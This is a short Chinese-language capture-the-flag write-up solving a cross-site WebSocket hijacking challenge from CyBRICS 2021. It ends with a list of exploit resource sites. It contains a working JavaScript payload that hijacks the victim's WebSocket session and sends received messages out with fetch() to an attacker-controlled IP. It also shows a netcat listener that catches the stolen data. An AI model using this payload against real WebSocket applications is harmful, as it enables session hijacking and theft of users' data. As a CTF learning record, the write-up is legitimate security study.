0 前言

这是一个 CSRF 的题目，以前没怎么做过这类题目，还是挺有趣的。HackTrick 中介绍对于这种Cross-site WebSocket hijacking 的介绍挺详细的。传送门

1 题解

• 在服务器创建文件 w.html（记得将 IP 替换为自己服务器的 IP）

<meta charset="utf-8">
<script>
    function ws(){
        var ws = new WebSocket("ws://multichat-cybrics2021.ctf.su/ws");
        // 连接成功后的回调函数。
        ws.onopen = function(event){
            // 发送数据
            ws.send("Hey, i forgot the flag. Can you remind me?")
        }
        // 实例对象的onmessage属性，用于指定收到服务器数据后的回调函数
        ws.onmessage = function(event){
            fetch('http://xxx.xxx.xxx.xxx:9999?' + event.data, {mode: 'no-cors'})
        }
    }
    // 调用方法
    ws();
</script>

使用 python3 -m http.server 8080 搭建临时 web 服务，并运行 nc -lvnp 9999 监听请求。

• 在后台（ http://multichat-cybrics2021.ctf.su:5000/ ） 提交 w.html 的 url。即可获得 flag。

2 总结

其实重要的收获不是知识点，而是思想。在比赛前并没有做过这类题目，看完前端的源码之后可以搜索相关的技术和相关的漏洞利用，再结合题目可能的考点是什么。最后再尝试进行解题。

再者就是收集优质的漏洞利用的网站挺重要的，下面是我常用的几个网站

• HackTricks
• PayloadsAllTheThings
• Red Teaming Experiments
• 反弹Shell生成
• Vulnerability DB-Snyk
• exploit-db

其他小工具类的网站不一一列举了。